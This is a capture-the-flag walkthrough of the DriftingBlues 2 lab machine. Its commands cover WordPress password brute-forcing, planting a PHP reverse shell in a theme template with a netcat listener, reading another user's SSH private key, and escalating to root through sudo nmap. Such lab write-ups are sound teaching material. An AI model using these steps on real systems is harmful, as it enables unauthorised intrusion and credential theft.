• Have you enumerated the directories for the website?
• Have you added an appropriate entry to your hosts file to properly view the site?
• A well known CMS is running on this server, how can it be exploited?

• What is one of the first commands ran to check the user's privileges to run elevated commands?
• How can we exploit the executable listed?

from our Kali host. After a few moments, you should be able to uncover the IP of our target system.

Once you have discovered the IP, let’s enumerate this host to determine what ports/services are open/running. To do this, let’s run:

threader3000

and enter the IP uncovered by netdiscover when prompted:

Once prompted, let nmap run it’s default scan that is built in to threader3000.

It appears that we have anonymous FTP open, along with SSH and an HTTP server. Let’s look at the FTP server first.

Logging into the FTP server took a few attempts, but the username for anonymous access ended up being ftp. After entering this username, the password did not matter. Once connected, I ran:

ls

followed by:

get secret.jpg

to list the directory contents and download the only file present.

I opened the image file and didn’t notice anything strange, and various steganography tools did not detect anything in the image.

With no luck here, I turned to the website running on port 80. Pulling up the initial website presented me with the following:

I decided to enumerate the website with dirsearch by running:

python3 dirsearch.py -u http://<victim ip> -w /usr/share/wordlists/dirbuster/directory-list-lowerase-2.3-medium.txt

After a few minutes, the /blog/ subdirectory was discovered.

Visiting this directory presented us with the following website. However, it appeared that it did not load properly. Placing my mouse over one of the titles showed that the website hostname was driftingblues.box:

I edited my attacker pc’s /etc/hosts file with:

nano /etc/hosts

and added the appropriate entry as shown below.

I then reloaded the website to see if it updated the appearance:

Based on prior experience with the layout of this site, I was pretty positive it was a WordPress website. I decided to run WPScan with the following parameters to enumerate the first 20 users on the box:

wpscan --url http://driftingblues.box/blog -e u1-20

As shown above, the albert user was uncovered as part of this scan. Next, I used WPScan again with a different set of parameters to brute force the user password:

wpscan --url http://driftingblues.box/blog --passwords /usr/share/wordlists/rockyou.txt --usernames albert

After a few moments, the password of scotland1 was uncovered. Next, I navigated to the admin login page located at http://driftingblues.box/blog/wp-login.php and logged in with the credentials uncovered by WPScan.

Next, I clicked on Appearance on the left hand menu followed by Theme Editor. Once loaded, I clicked on the 404 Template on the right hand side.

Next, I copied Pentestmonkey’s Reverse PHP Shell script and overwrote what was present in this template with that shell.

After editing the IP address to match that of my attacker box in the WordPress Template I clicked on Update File to save my changes. Next, I opened up a netcat listener from terminal on my attacker box to catch a reverse shell with:

nc -nvlp 1234

After starting the listener, I navigated to one of the blog entries and added /a to the url to force a 404 error page.

I then returned to my reverse shell and noticed I had a reverse shell as the www-data user:

I then upgraded my shell to a TTY Python shell with:

python -c 'import pty; pty.spawn("/bin/sh")'

Next, I ran a few command to enumerate the user home directory and noticed I had read access to their .ssh folder and id_rsa ssh key. The command entered to naviate here were as follows:

cd /home

ls

cd freddie

ls -al

cd .ssh

ls -al

Next, I used cat to display the contents of the id_rsa file with:

cat id_rsa

I then highlighted and copied this and saved it to a file on my attacker box:

Next, I changed permissions on this file with:

chmod 600 id_rsa

and then ran:

ssh -i id_rsa freddie@<victim ip address>

to connect as freddie via SSH, which was successful as shown below.

Now that we are logged in as freddie, I ran:

ls

and noticed the user.txt file in this folder. I then used:

cat user.txt

to display this flag’s contents.

Next, I decided to see what sudo permissions freddie had, if any, so I ran:

sudo -l

It appears that this user can run nmap as root without a password. I used GTFOBins and uncovered that there was a way to create a temporary script file and execute it as nmap, which in this case would lead to a root shell:

At this point, as the root user, all we needed to do to retrieve the final flag were the following commands:

cd /root

ls -al

cat root.txt

And that’s the end of Drifting Blues 2!